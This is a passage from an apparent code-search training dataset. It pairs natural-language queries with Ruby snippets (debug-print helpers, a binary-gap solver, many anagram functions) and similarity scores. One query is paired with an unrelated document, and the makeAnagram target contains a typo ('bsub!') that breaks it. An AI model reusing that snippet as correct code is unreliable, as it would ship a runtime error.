"0.5812342",
"0.5812342",
"0.5812342",
"0.5812342",
"0.5812342",
"0.5812342",
"0.5811868",
"0.5809333",
"0.58090717",
"0.58090717",
"0.58090717",
"0.5806346",
"0.5802625",
"0.58021957",
"0.5793916",
"0.5793916",
"0.5793916",
"0.5793916",
"0.5793916",
"0.5793916"
] |
0.7256068
|
3
|
puts "this is a debug message"
|
def solution(n)
open = false
current = 0
max = 0
begin
if n % 2 == 1
open = true
max = [max, current].max
current = 0
else
current += 1 if open
end
end while (n /= 2) > 0
max
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def debug(msg)\n #puts msg\n end",
"def debug(s)\n\t#puts \"DEBUG: #{s}\"\nend",
"def print_debug(msg)\n puts msg if (@debug) \n STDOUT.flush\n end",
"def debug(message)\n puts message if debug?\n end",
"def debug(s) if $DEBUG then $stderr.print(\"#{s}\\n\") end end",
"def debug_msg( str )\n puts str if @debug == true\n end",
"def debug string\n puts string if $DEBUG\nend",
"def debug(text)\n\t\t\tputs text\n\t\t\tnil\n\t\tend",
"def debug(msg)\n $stderr.puts(\"DEBUG: #{msg}\") if $options['verbose']\nend",
"def debug(msg)\n $stderr.puts(\"DEBUG: #{msg}\") if $options['verbose']\nend",
"def debug(msg)\n $stderr.puts(\"DEBUG: #{msg}\") if $options['verbose']\nend",
"def debug(message)\n $stderr.puts(message) if @options[:debug]\nend",
"def debug(msg = \"\")\n puts \"\\n\\n\\n\"\n puts \" DEBUGGING \".white.on_red\n puts msg\n puts \"\\n\\n\\n\"\n exit\n end",
"def dprint(s)\n print s if $DEBUG\nend",
"def debug_msg msg\n puts msg if @options[:debug]\n end",
"def puts_debug(msg)\r\n if (self.debug) \r\n puts msg\r\n end # end debug\r\n end",
"def puts_debug(msg)\r\n if (self.debug) \r\n puts msg\r\n end # end debug\r\n end",
"def debug(msg)\n STDERR.puts msg if @debug\n end",
"def debug(message)\n puts \"#{Time.now.strftime(\"%H:%M:%S.%L\")} - \\t#{message}\" if DEBUG\nend",
"def debug1(text) debug text, 1 end",
"def say(word)\n require 'debug'\n puts word + ' to begin debugging.'\nend",
"def debug(stuff)\n puts \"DEBUG: #{stuff}\"\nend",
"def print_debug(s)\n config = BeEF::Core::Configuration.instance\n if config.get('beef.debug') || BeEF::Core::Console::CommandLine.parse[:verbose]\n puts Time.now.localtime.strftime(\"[%k:%M:%S]\")+'[>]'.yellow+' '+s.to_s\n end\nend",
"def debug_msg(msg=\"\")\n if(@config.debug)\n puts(\"Debug: #{msg}\")\n @file.puts(\"Debug: #{msg}\")\n end\n end",
"def debug(message)\n $stdout.puts \"D #{message}\" if @debug\n end",
"def debug(message)\n stdout.print(\"#{message}\\n\") if ENV['DEBUG']\n end",
"def debug(str)\n $stderr.puts(str) if @debug\n end",
"def debug_msg(msg)\n if(@options[:debug])\n @log.puts(msg)\n puts msg\n end\nend",
"def say_debug(message)\n puts yellow(message) if self.debug\n end",
"def puts(*strs); $stdout.puts(*strs) if ENV['DEBUG'] end",
"def debug_log( arg )\r\n print('DEBUG: ')\r\n puts (arg)\r\nend",
"def log(s)\n puts \"[Debug]: #{s}\"\nend",
"def log(s)\n puts \"[Debug]: #{s}\"\nend",
"def debug(msg)\n STDERR.puts msg if options.key? :debug\n end",
"def output_debug(string)\n if Command.ui\n Command.ui.debug string\n else\n $stderr.puts \"DEBUG: #{string}\"\n end\n end",
"def dputs str=\"\"\n\t\tputs str if debug?\n\tend",
"def debug(message)\n ostream.puts message if $DEBUG\n end",
"def debug (msg = \"\")\n if Object.const_defined?('Puppet')\n Puppet.debug msg\n else\n if ENV['FACTER_DEBUG'] == 'true'\n $stdout.puts msg\n $stdout.flush\n end\n end\nend",
"def dprint(str)\n if ANSIBLE_DEBUG\n print str\n end\nend",
"def debug(message)\n logger.debug(PROG_NAME) { message }\n end",
"def debug_msg( *msg )\n\t\treturn unless $DEBUG\n\t\t$stderr.puts( *msg )\n\tend",
"def debug_msg( *msg )\n\t\treturn unless $DEBUG\n\t\t$stderr.puts( *msg )\n\tend",
"def debug(*args); puts(*args) if $test; end",
"def debug(message) ; @log.debug(message) ; end",
"def debug(info)\n puts(info) if @debug\n end",
"def debug(message)\n return if quiet?\n say('[DEBUG] ' + message, :yellow) if $DEBUG\n end",
"def debug(msg)\n puts \"[watchr debug] #{msg}\" if options.debug\n end",
"def debugMsg( msg )\n\treturn unless $DEBUG\n\t$stderr.print \"#{msg}\\n\"\nend",
"def dmsg(msg)\n if $DEBUG\n case msg\n when String\n puts msg\n else\n puts msg.inspect\n end\n end\n end",
"def dmsg(msg)\n if $DEBUG\n case msg\n when String\n puts msg\n else\n puts msg.inspect\n end\n end\n end",
"def dmsg(msg)\n if $DEBUG\n case msg\n when String\n puts msg\n else\n puts msg.inspect\n end\n end\n end",
"def debug(msg) log(7, msg); end",
"def dputs(message)\n puts message\nend",
"def debug; end",
"def debug; end",
"def debug; end",
"def debug; end",
"def debug (what)\n ap what\n exit 2\nend",
"def dbg(msg, msgLevel = 1)\n\tif $options['debug'] >= msgLevel then\n\t\tputs \"#{msg}\"\n\tend\nend",
"def dbg(msg, msgLevel = 1)\n\tif $options['debug'] >= msgLevel then\n\t\tputs \"#{msg}\"\n\tend\nend",
"def debug(message)\n if DEBUG\n log message\n end\nend",
"def debug(msg)\n end",
"def puts_debug(*print_string)\n debug_code = true\n puts *print_string if debug_code\n end",
"def debug_out(debmsg)\n if $gDebug \n puts debmsg\n end\n if ($gTest_params[\"logfile\"])\n $fLOG.write(debmsg)\n end\nend",
"def debug(message)\n log(0, message)\n end",
"def debug_out(debmsg)\n if $gDebug\n puts debmsg\n end\n if ($gTest_params[\"logfile\"])\n $fLOG.write(debmsg)\n end\nend",
"def debug (msg = \"\")\n if Object.const_defined?('Puppet')\n Puppet.debug 'facter(extra_modulepath):'+msg\n else\n if ENV['FACTER_DEBUG'] == 'true'\n $stdout.puts msg\n $stdout.flush\n end\n end\nend",
"def debug!\n @client.debug_dev = STDOUT\n end",
"def debug(message)\n warn \"==== VLO DEBUG: \" + message if ENV[\"VLO_DEBUG\"] == 'true'\nend",
"def debug(text)\n puts \"#{text}\".foreground(:yellow)\n end",
"def debug(message = nil, progname = nil, &block)\n add(DEBUG, message, progname, &block)\n end",
"def debug( msg )\n puts Time.now.strftime(\"- %I:%M%p: \") + msg if @debug\nend",
"def debug_puts(puts_text)\n if Debug_Mode == true\n puts \"#{puts_text}\"\n end\n end",
"def debug(d)\n ap d\n puts\n exit 2\nend",
"def debug(msg)\n log.debug msg\n end",
"def debug(*args); end",
"def debug(*args); end",
"def debug(*args); end",
"def INFO(msg)\n if DEBUG\n puts \"INFO: \" + msg\n end\nend",
"def debug(*info)\n puts(info) if debug_mode?\n end",
"def debug(*text)\n if configuration.debug\n channel.write(\"command\" => \"debug\", \"text\" => text.join, \"on\" => on)\n end\n end",
"def debug_print(output, debug)\n\tif debug\n\t\tputs \"[*] #{output}\".red\n\tend\nend",
"def debug(str, ret = false)\r\n puts str if @debug\r\n return ret\r\n end",
"def debug(message = \"\", level = 5)\n if $config[:global][:verboselevel] and $config[:global][:verboselevel] >= level\n puts message \n\t\t#logger.info(message)\n Syslog.info(message)\n end\nend",
"def debug_print(returnedData, debug=\"false\")\n if debug == \"true\" then\n puts \"\\r\\n[DEBUG]\\r\\n\"\n pp(returnedData) \n end\nend",
"def debug(msg=nil)\n log \"DEBUG: #{msg}\" if $debug\n end",
"def debug(msg)\n return unless Fizzy::CFG.debug\n caller_info = caller\n .map { |c| c[/`.*'/][1..-2].split(\" \").first }\n .uniq[0..2]\n .join(\" → \")\n tell \"{m{⚫}}#{✏ caller_info, %w({b{<}} {b{>}})}{w{: #{msg}}}\"\n end",
"def debug_message(message)\n logger.debug \"**** - #{message}\"\n end",
"def debug(msg); @logger.debug(msg); end",
"def debug(msg, &block)\n result = yield\n puts \"-- #{msg} #{'-' * (74 - msg.length)}\" if $debug\n result\n end",
"def debug(msg) #:doc:\r\n if have_hook?(:on_debug)\r\n sync { self.class.debug msg }\r\n end\r\n end",
"def debug( msg )\n puts Time.now.strftime(\"- %I:%M%p: \") + msg\nend",
"def debug(msg, thread = nil)\n return nil unless $opt[:debug]\n function = (thread ? \"#{thread}.\" : '') + \\\n (caller[0][/`.*'/] ? caller[0][/`.*'/][1..-2].split(' ').last : 'core');\n puts \"#{function}#{(function.split(/\\.([^.]*)$/).last == 'core' ? '' : '()')}: #{msg}\".white\nend",
"def debug(msg) log(DEBUG, \"DEBUG \" << format(msg) << \", \" << caller[0][caller[0].rindex(\"/\").nil? ? 0 : caller[0].rindex(\"/\") + 1 .. -1]); end",
"def debug message; write DEBUG, message, caller[0] unless level > @level end",
"def debug(*args)\n $stderr.puts(sprintf(*args)) if @debug\n end",
"def debug(message)\n Edurange.logger.debug message\n end",
"def debug()\n # =========================================\n # DEBUG CODE FOR STEPPING\n # =========================================\n puts \"Curr char is: #{@curr_char}\"\n puts \"PC direction is: #{@curr_direction}\"\n puts \"Stack contents are: #{@stack}\"\n puts \"Skip is: #{@skip}\"\n puts \"Ascii_Mode is: #{@ascii_mode}\"\n prompt()\n STDIN.gets\n\n # =========================================\n # END DEBUG CODE\n # =========================================\n\n end",
"def write_debug( f )\n f.puts( $debug_buf )\n $debug_buf = \"\"\nend",
"def log_debug(message)\n Rails.logger.debug message\n puts message\n end",
"def debug?; end"
] |
[
"0.8406359",
"0.8268479",
"0.8211071",
"0.8138492",
"0.8107914",
"0.80671936",
"0.8004696",
"0.79987866",
"0.7975501",
"0.7975501",
"0.7975501",
"0.79284",
"0.78572273",
"0.78488684",
"0.7837523",
"0.7821288",
"0.7821288",
"0.7792199",
"0.7773948",
"0.7743215",
"0.7739327",
"0.77392334",
"0.77125454",
"0.7705425",
"0.77030075",
"0.7674084",
"0.7641472",
"0.7635617",
"0.76122314",
"0.7607222",
"0.7596653",
"0.7568291",
"0.7568291",
"0.75627065",
"0.7561845",
"0.7530402",
"0.75142545",
"0.7486465",
"0.74476266",
"0.7398443",
"0.7392124",
"0.7392124",
"0.7389751",
"0.7387766",
"0.73778945",
"0.7370045",
"0.73463976",
"0.73165655",
"0.7307878",
"0.7307878",
"0.7307878",
"0.7284727",
"0.7256834",
"0.72515905",
"0.72515905",
"0.72515905",
"0.72515905",
"0.7217113",
"0.7215761",
"0.7215761",
"0.7214241",
"0.7198336",
"0.7160688",
"0.715579",
"0.7149819",
"0.7127787",
"0.7125443",
"0.7106233",
"0.7096052",
"0.70934",
"0.7091538",
"0.7090718",
"0.7090086",
"0.7079579",
"0.70742637",
"0.7066664",
"0.7066664",
"0.7066664",
"0.70518154",
"0.7034283",
"0.70034087",
"0.70024234",
"0.6998635",
"0.6988879",
"0.69563323",
"0.6950195",
"0.69494313",
"0.6936724",
"0.6933031",
"0.69299227",
"0.69211537",
"0.69192326",
"0.6914229",
"0.6912095",
"0.69106394",
"0.6900422",
"0.68945295",
"0.6875811",
"0.68720067",
"0.68642783",
"0.6842386"
] |
0.0
|
-1
|
Complete the makeAnagram function below.
|
def makeAnagram(a, b)
# Remove characters present in both strings
a.each_char do |chr|
if b.include?(chr)
a.sub!(chr,''); b.sub!(chr,'')
end
end
b.each_char do |chr|
if a.include?(chr)
a.sub!(chr,''); bsub!(chr,'')
end
end
# Return the length of both strings combined
return (a+b).length
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def valid_anagram(text)\n\nend",
"def combine_anagrams_method2(words)\n\ttemp1 = Array.new\n\ttemp1 = words.clone\t# making a deep copy of the input \n\tanagram = Array.new\t\n\ti = 0\n\twhile i < temp1.length\t\t\t\n\t\tcount = 0 # count the number of anagrams of a particular string say \"cars\"\n\t\tfor j in i+1..(temp1.length - 1)\n\t\t\tif temp1[i].downcase.chars.sort.join == temp1[j].downcase.chars.sort.join \n\t\t\t\tcount = count + 1\n\t\t\t\ttemp1[j],temp1[i+count] = temp1[i+count],temp1[j] # get all the anagrams to one place by swapping\n\t\t\tend\n\t\tend\n\t\tanagram.push([temp1[i..i+count]]) # pushing the array of anagrams into anagram array say [\"cars\", \"racs\", \"scar\"]\n\t\ti = i + count + 1\n\tend\n\t# printing each group\n\tfor i in 0..anagram.length-1\n\t\tprint \"anagram[\" + i.to_s + \"]: \" \n\t\tputs anagram[i]\n\tend\t\nend",
"def anagrams(string, array)\nend",
"def first_anagram?(word1, word2)\n anagrams = []\n arr = word1.chars \n\n arr.permutation.each do |subArr|\n anagrams << subArr.join(\"\")\n end \n p anagram?(anagrams, word2) \nend",
"def anagrams_for(word, array)\n #Pasar la palabra a minuscula para que sea igual\n word.downcase!\n #Arreglo vacio para meter los que sean anagramas\n arr = []\n #Separar la palabra en su forma canonica\n cano = word.chars.sort\n #iterar dentro de cada palabra del array\n array.each do |dicc|\n #crear una variable donde pase la palabra del array a su forma canonica\n word_cano = dicc.chars.sort\n #si la palabra es igual a la palabra del array\n #Ya las 2 en su forma canonica\n if cano == word_cano\n #mete la palabra a el array\n arr << dicc\n #De lo contrario deja el array igual\n else\n arr\n end\n end\n #Regresar el array lleno si habia palabras\n #o vacio si no las encontro\n arr\nend",
"def detect_anagram(word, dictionary)\n letter_array = word.downcase.split(//)\n word_array = []\n letter_array.permutation(word.length){|word| word_array << word.join }\n word_array.select {|word| dictionary.include?(word)}\nend",
"def anagram (str1, str2)\n # to downcase and remove non alphanumeric characters \n str1_hash = str_to_hash(str1.downcase.gsub(/(\\W)/, \"\"))\n str2_hash = str_to_hash(str2.downcase.gsub(/(\\W)/, \"\"))\n\n if str1_hash == str2_hash\n return true\n else\n return false\n end\n\nend",
"def combine_anagrams (words)\n if(words.length == 0) \n return words\n end\n\n anagram_list = [];\n \n print words\n puts\n\n words = words.flatten\n\n#words = words & words\n\n words.each do |word|\n if(anagram_list.length == 0)\n then\n anagram_list << [word];\n next\n end\n\n sorted_word = word.downcase.scan(/./).sort.join\n\n print sorted_word\n\n# word_exists = anagram_list.flatten.select { |anag| anag =~ /#{word}/ }\n#if (word_exists != nil && word_exists.length == 1)\n#next\n#end\n \n inserted = false\n anagram_list.each_index do |i|\n print \" \" \n print anagram_list[i][0].downcase.scan(/./).sort.join\n print \"\\n\"\n if(anagram_list[i][0].downcase.scan(/./).sort.join == sorted_word)\n then\n anagram_list[i] << word\n inserted = true\n break\n end\n end\n anagram_list << [ word ] unless (inserted)\n end\n return anagram_list;\nend",
"def anagrams(str1, str2)\n \nend",
"def my_anagram(type_array) \n #Create Hash container\n storage_hash = {} \n #Take given array argument and opperate on each element.\n #Anagrams are words that can be spelled using the same letters. Order inmaterial. \n\n #Split text into Array / Sort String.split(\"\") Array using Array.sort. / String.join \n #Iterate over array input\n\n type_array.each do |word|\n word_sorted = word.split(\"\").sort.join\n #Check to see if word sorted is already in container (storage_array)\n if storage_hash.has_key?(word_sorted)\n storage_hash[word_sorted].push(word)\n else\n #add the new unique storage key\n storage_hash[word_sorted] = [word]\n end\n end\n #Iterate threw your storage and print results\n storage_hash.each do |key, value|\n puts \"---#{key}----\"\n p value\n end\nend",
"def anagram(words)\r\n result = words.group_by { |word| word.chars.sort.join }\r\n result.each {|k, v| p v unless v.size == 1}\r\nend",
"def anagram_manager\n\n if array_vowel_check() == true\n\n concat_anagram_check()\n\n else \"One or more words in your entry phrases does not contain a vowel\"\n\n end\n end",
"def anagram(words)\n words_hash = {}\n\n words.each do |w1|\n sorted_word = w1.chars.sort\n\n if words_hash.has_key?(sorted_word)\n words_hash[sorted_word] << w1\n else\n words_hash[sorted_word] = [w1]\n end\n end\n\n words_hash.values\nend",
"def anagram(word)\n anagrams_array = %w(enlists google inlets banana)\n search = word.split('')\n search.sort!\n anagrams_array.each do |wordanna|\n new_word = wordanna.split('')\n new_word.sort!\n if search == new_word\n puts wordanna\n end\n end\nend",
"def anagram_finder(word, dictionary)\n\tag = []\ndictionary.each {|x| ag << x if word.split('').sort == x.split('').sort }\nag\nend",
"def anagram(words)\n words_hash = {}\n\n words_hash = words.each_with_object(Hash.new []) do |word, hash|\n hash[word.chars.sort] += [word]\n end\n\n words_array = words_hash.flatten\n final_hash = []\n\n words_array.each_index do |index|\n final_hash << words_array[index] if index.odd?\n end\n\n return final_hash\nend",
"def is_anagram(test, original)\n test.downcase.chars.sort == original.downcase.chars.sort\nend",
"def anagrams(word)\n EpicAnagram.find_anagrams(word)\n end",
"def is_anagram?(word)\n#try determining if they are composed of the same letters.\n word.chars.sort == @word.chars.sort\n end",
"def anagram_hash(input)\n list = {} # empty hash\n input.each do |word| # iterates over each word in the array\n add_word = word.chars.sort.join # sorts the anagrams\n list[add_word] ||= []\n list[add_word] << word\n end\n # list of all anagrams and words\n list.values\nend",
"def combine_anagrams(words) \n # for each word, sort the word to create the \n # signature for the anagrams\n anagram_groups = {}\n words.each do |w|\n key = w.downcase.chars.sort.join\n if anagram_groups[key].nil?\n anagram_groups[key] = [w]\n else\n anagram_groups[key].push(w)\n end\n end\n \n return anagram_groups.values\n\nend",
"def is_anagram? a,b\n canonical(a) == canonical(b)\nend",
"def match(array) #takes in an array of possible anagrams\n anagrams = []\n \n # iterate over array of words\n array.each do |word|\n # compare each word of array to OG word \n # determine if word is anagram\n if word.chars.sort == @word.chars.sort\n anagrams << word\n end\n end\n anagrams #return all matches/ empty array if no matches exist\n end",
"def find_anagrams(base_word, word_list)\n word_list.select do |word|\n anagram?(base_word, word)\n end\nend",
"def anagram str1, str2\n str1.downcase.chars.sort.join == str2.downcase.chars.sort.join\nend",
"def anagram?\n chars1 = @input1.downcase.gsub(/[!@#$%^&*()-=_+|;':\",.<>?']/, '').split(\"\").sort\n chars2 = @input2.downcase.gsub(/[!@#$%^&*()-=_+|;':\",.<>?']/, '').split(\"\").sort\n if\n self.allwords?\n if\n chars1 == chars2\n return \"These words are anagrams!\"\n elsif\n self.antigrams?\n return \"These words are not anagrams but they are antigrams!\"\n elsif self.antigrams? == false\n return \"These words are neither anagrams nor antigrams!\"\n end\n else\n return \"You need to input actual words!\"\n end\n end",
"def combine_anagrams(words)\n anagrams = Hash.new([])\n for i in 0..(words.length - 1)\n anagram_found = false\n if (i == 0)\n anagrams[words[i]] = []\n end\n for j in 0..(i-1)\n# puts \"Comparing #{words[i]} and #{words[j]}\"\n anagram1 = merge_sort(words[i].downcase)\n anagram2 = merge_sort(words[j].downcase)\n# puts \"#{anagram1} #{anagram2}\"\n if (merge_sort(words[i].downcase) == merge_sort(words[j].downcase))\n# puts \"#{words[i]} and #{words[j]} are the same anagram.\"\n anagrams[words[j]] << words[i]\n anagram_found = true\n #puts \"anagrams: #{anagrams.to_s}\"\n break\n end\n end\n anagrams[words[i]] = [] unless (anagram_found)\n end\n\n # Convert hash to an array.\n anagrams_arr = hash_to_array(anagrams)\n return anagrams_arr\n #return anagrams\nend",
"def isAnagram(test, original)\n str1 = test.split(\"\").map{ |x| x.ord}.inject(:+)\n str2 = original.split(\"\").map{ |x| x.ord}.inject(:+)\n str1 == str2\nend",
"def make_anagram word1, word2\n s1 = word1.chars\n s2 = word2.chars\n\n count = 0\n\n # s1.each do |x|\n # if s2.include? x\n # count +=1\n # end\n # end \n # ana = (word1.size - count)*2\n\n freq = Hash.new(0)\n s1.each do |key|\n freq.store(key, freq[key]+1)\n end\n freq\n\n s2.each do |x|\n if freq[x] != nil\n freq[x] -= 1\n end\n end\n\n freq\n\n freq.each do |key,value|\n if value != 0\n count += value.abs\n end\n end\n\n count\n\nend",
"def makeAnagram(a, b)\r\n dict = Hash.new{0}\r\n cnt = 0\r\n\r\n a.chars.each {|n| dict[n] += 1}\r\n b.chars.each {|n| dict[n] -= 1}\r\n \r\n dict.values.each {|v| cnt += v.abs}\r\n cnt\r\nend",
"def anagram(str)\n\n raise \"Require string input\" unless str.is_a?(String)\n\n anagrams = []\n\n dict = [\"RETOOL\", \"ROOTLE\", \"TOOLER\", \n \"PLAY\", \"VIKING\"]\n \n dict.each do |word|\n anagrams << word if word.split(\"\").sort == str.upcase.split(\"\").sort\n end\n\n return anagrams\n\n\n end",
"def anagram?( string,target )\n permutations=string.chars.permutation.to_a\n permutations.include?(target.chars)\n end",
"def combine_anagrams(words)\n\tsorted = Hash.new\n\tk=0\n\twords.each { |c| sorted[k]=c.downcase.chars.sort.join; k=k+1 }\n\tanagram = Array.new\n\ta = Array.new\n\tb = Array.new\n\ti=0\n\tsorted.invert.each { |w,y| a[i] = sorted.select { |k,v| v == w }.keys; a[i].each { |x| b << words[x] }; anagram << anagram[i].to_a + b.to_a ; b.clear; i=i+1 }\n\treturn anagram\nend",
"def valid_anagram(s,t)\n\n if s.length != t.length\n return false\n end\n\n #create hashes\n hash_table1 = Hash.new(0)\n hash_table2 = Hash.new(0)\n\n #check frequency of letters in string\n\n s.each_char do |ch|\n if hash_table1[ch] == nil?\n hash_table1[ch] = hash_table1[ch] + 1\n else\n hash_table1[ch] = 1\n end\n\n p hash_table1\n\n end\n\n t.each_char do |ch|\n if hash_table2[ch] == nil?\n hash_table2[ch] = hash_table2[ch] + 1\n else\n hash_table2[ch] = 1\n end\n p hash_table2\n end\n\n #compare both hash table\n\n return hash_table1 == hash_table2\n\nend",
"def anagram string\n mid = string.size/2 -1\n s1 = string.slice(0..mid).chars\n s2 = string.slice(mid+1..-1).chars\n freq = Hash.new(0)\n count = 0\n\n s1.each{ |key| freq[key]+=1 }\n\n s2.each do |letter|\n freq[letter] > 0 ? freq[letter] -=1 : count +=1\n end\n\n string.size.even? ? count : -1\nend",
"def combine_anagrams(words)\n#\n\n hash = {}\n words.each{ |word| \n key = word.downcase.split(//).sort\n hash[key] = (hash[key] || []) + [word]\n }\n ans = []\n hash.map{ |k, v|\n ans += v\n }\n ans\nend",
"def is_anagram(s, t)\n s.chars.sort == t.chars.sort\nend",
"def match(words)\n#iterate over the array of words that the .match method takes as an argument.\n words.select do |word|\n is_anagram?(word)\n end\n end",
"def combine_anagrams(words)\n hash = {}\n hash.default=[]\n words.each{|word|\n down_cased = word.downcase\n anagram = down_cased.chars.sort.join\n hash[anagram]= hash[anagram] + [word]\n }\n hash.values\nend",
"def anagram(string1, string2)\n puts \"Are #{string1} and #{string2} anagrams?\"\n if string1.length != string2.length\n return false\n else\n string1.length.times do |i|\n if !string2.include? string1[i] \n return false\n end\n end\n return true\n end\nend",
"def combine_anagrams(words)\n anagram_group = Hash.new([])\n words.each {|word| anagram_group[word.downcase.split(//).sort.join] += [word]}\n return anagram_group.values\nend",
"def first_anagram(word1, word2) #the worst \r\n word1.chars.permutation.to_a.any? { |sub| sub.join == word2 } \r\nend",
"def is_anagram word1, word2\n \tpermute = permute_word(word1)\n \tpermute.each do |w|\n \t puts w.join\n \t if w.join.eql?(word2)\n \t \treturn true\n \t end\n \tend\n \treturn false\n end",
"def are_anagrams?(word1, word2)\n #si las palabras son anagramas regresa true de lo contrario regresa false\n if canonical(word1) == canonical(word2) then true else false end\nend",
"def anagrams(array)\n copy_array = array.dup\n result_array = []\n iteration_idx = 0\n until copy_array.empty?\n \n word = copy_array.pop\n next if word.nil?\n \n result_array << []\n result_array[iteration_idx] << word\n copy_array.each do |sub_word|\n next if sub_word.nil?\n if are_anagrams?(sub_word, word)\n result_array[iteration_idx] << sub_word\n idx = copy_array.index(sub_word)\n copy_array[idx] = nil\n end\n end\n \n iteration_idx += 1\n end\n \n result_array\nend",
"def combine_anagrams(words)\n anagrams = Hash.new()\n words.each do |word|\n letters = word.downcase.gsub(/[^a-z]/, \"\").split(\"\").sort.join\n anagrams[letters] = Array.new unless anagrams.include?(letters)\n anagrams[letters] << word\n end\n anagrams.values\nend",
"def anagramI?(str1, str2)\n anagrams = str1.split(\"\").permutation.to_a.map { |anagram| anagram.join(\"\") }\n anagrams.include?(str2)\nend",
"def combine_anagrams(words)\n anagrams = []\n available_words = words\n words.each do |e|\n group = []\n temp_words = []\n anagram_invariant = e.downcase.chars.sort.join\n available_words.each do |i|\n test = i.downcase.chars.sort.join\n if test == anagram_invariant\n group.push(i)\n else\n temp_words.push(i)\n end\n end\n if(!group.empty?)\n anagrams.push(group)\n end\n available_words = temp_words\n end\n return anagrams\nend",
"def is_anagram(s, t)\n return s.chars.sort == t.chars.sort\nend",
"def fourth_anagram(first_word, second_word)\n hash1 = Hash.new {|h, k| h[k] = []}\n first_word.each_char do |char|\n hash1[char] << char\n end\n second_word.each_char do |char|\n hash1[char] << char\n end\n hash1.values.all? {|ele| ele.length.even?}\nend",
"def anagram?(word)\n normalize(word) == normalize(@word)\n end",
"def combine_anagrams(list_of_words)\n result = []\n list_of_words.each { | word |\n found = false \n for added_words in result\n if word.anagrams?(added_words[0])\n added_words << word\n puts \"==>#{added_words}\"\n found = true\n break \n end \n end\n #Add the new anagram group list\n if !found then result << [word] end\n }\n return result\nend",
"def anagram?(a, b)\n a.chars.sort == b.chars.sort\nend",
"def anagramStrSearch(str, searchstr)\n arResult = Array.new(str.size, 0) #initialize each position with false\n searchSize = searchstr.size\n # create all possible anagrams\n arSearch = searchstr.split('') #split chars in array\n arSearch = arSearch.permutation.to_a #create all array permutations\n for i in 0..arSearch.size-1\n arSearch[i] = arSearch[i].join #join each permutation back as string\n end\n \n # search if str match into of the anagrams\n for i in 0..str.size-searchSize\n if arSearch.include?(str[i,searchSize]) then\n arResult[i] = 1\n end\n end\n # p arSearch\n return arResult\n end",
"def combine_anagrams(words) \r\n anagrams = words.inject(Hash.new()) do |r, word|\r\n key = word.downcase.chars.sort.join\r\n r[key] ||=[]\r\n r[key] << word\r\n r\r\n end\r\n anagrams.values\r\nend",
"def anagram?(phrase_one, phrase_two)\n phrase_one.split('').sort == phrase_two.split('').sort\n end",
"def anagram3(string, string2)\n(string.chars.sort.join == string2.chars.sort.join) ? true : false\nend",
"def is_anagram(s, t)\n return false if s.size != t.size\n\n s_dic = Array.new(26, 0)\n t_dic = Array.new(26, 0)\n\n a_ord = 'a'.ord\n s.each_char { |c| s_dic[c.ord - a_ord] += 1 }\n t.each_char { |c| t_dic[c.ord - a_ord] += 1 }\n\n s_dic == t_dic\nend",
"def anagram?(string, string2)\n str_arr = string.chars\n answer_array = []\n (0...str_arr.length).each do |i|\n answer_array << str_arr.permutation(i).to_a\n end\n\n answer = answer_array.uniq.join\n answer.include?(string2)\nend",
"def combine_anagrams(words)\r\n # <YOUR CODE HERE>\r\n # create a hash to store the anagrams and return arrays of the hash\r\n h = Hash.new \r\n words.each {|x|\r\n key = x.downcase.split(//).sort.join\r\n if h.has_key? key then\r\n a = h[key]\r\n h[key] = a.push(x)\r\n else\r\n h[key]= [x]\r\n end\r\n }\r\n return_array = Array.new\r\n # TODO Figure out how to build an array of arrays\r\n h.each_key {|x| return_array.push (h[x])}\r\n return return_array\r\nend",
"def fourth_anagram?(first_word, second_word)\n first_hash = Hash.new(0)\n second_hash = Hash.new(0)\n first_word.each_char do |char|\n first_hash[char] += 1\n end\n second_word.each_char do |char|\n second_hash[char] += 1\n end\n first_hash == second_hash\nend",
"def anagrams?(word1, word2)\n\nend",
"def anagrams?(word1, word2)\n\nend",
"def combine_anagrams(words=[])\n return [] if words.empty?\n hash = {}\n words.each do |word|\n anagram = word.downcase.split(\"\").sort.join(\"\")\n if hash[anagram].nil? then\n hash[anagram]=[word]\n else\n hash[anagram].push(word)\n end\n end\n return hash.values\nend",
"def anagrams_for(word, array)\n p array.select {|w| canonical(word) == canonical(w)}\nend",
"def find_anagrams( target_word, list_of_words )\n anagrams = []\n list_of_words.each{ |element|\n if anagram_canonical_form(element) == anagram_canonical_form(target_word)\n anagrams << element\n end\n }\n return anagrams\nend",
"def anagram(text)\n head, tail = [], text.split('')\n stack = [[head, tail]]\n result = []\n\n while stack.size > 0\n head, tail = stack.pop\n if tail.size.zero?\n result << head\n else\n tail.each_with_index do |_, i|\n _tail = tail.dup\n curr = _tail.delete_at(i)\n _head = head.dup\n _head << curr\n stack << [_head, _tail]\n end\n end\n end\n\n result.tap { |r| r.map! { |p| p.join('') }.uniq! }\n end",
"def panagram?(string)\n # enter your code here\n ans, key = [], []\n alph = (\"a\"..\"z\").to_a\n new = string.downcase.split(\"\")\n new.each {|x| ans.push(x) if alph.include?(x)}\n alph.each {|c| key.push(c) if ans.include?(c)}\n key.length == 26 ? true : false\nend",
"def combine_anagrams(words)\n anagrams = []\n\n words.each { \n \t|word| \n \t\n\tsorted_word = word.downcase.chars.sort.join\n\n \t# controleer of het gesorteerde woord in 1 van de arrays in anagrams voor komt. \n \t# voeg hem toe aan de array met het overeenkomende anagram\n \t# anders voeg hem als nieuwe array toe aan anagrams\n \ttoegevoegd = false\n\n \t# for i in anagrams.length do |anagram_list|\n \tanagrams.map {\n \t\t|anagram_list|\n\n \t\tif sorted_word == anagram_list[0].downcase.chars.sort.join\n \t\t\tanagram_list << word\n\t\t\ttoegevoegd = true\t\n \t\tend\n \t}\n\n \tif toegevoegd == false\n \t\tanagrams << [word]\n \tend\n\n }\n\n anagrams\nend",
"def first_anagram?(string1,string2)\n new_strings = string1.chars.permutation.to_a\n new_strings.include?(string2.chars)\n\nend",
"def combine_anagrams(words)\r\n\tswords = Array.new\r\n\tnoDups = Array.new\r\n\tgroupWords = Array.new\r\n\tanagrams = Array.new\r\n\twords.each {|word| swords << word.downcase.chars.sort.join}\r\n\tswords.each{|word| noDups << word unless !noDups.index(word).nil? }\r\n\tnoDups.each do|tword|\r\n\t\t\t\t\t\r\n\t\t\t\t\tgroupWords = Array.new\r\n\t\t\t\t\twords.each {|word| groupWords << word unless word.downcase.chars.sort.join != tword}\r\n\t\t\t\t\tanagrams << groupWords\r\n\t\t\t\tend\r\n\t\t\t\t\r\n\treturn anagrams\r\nend",
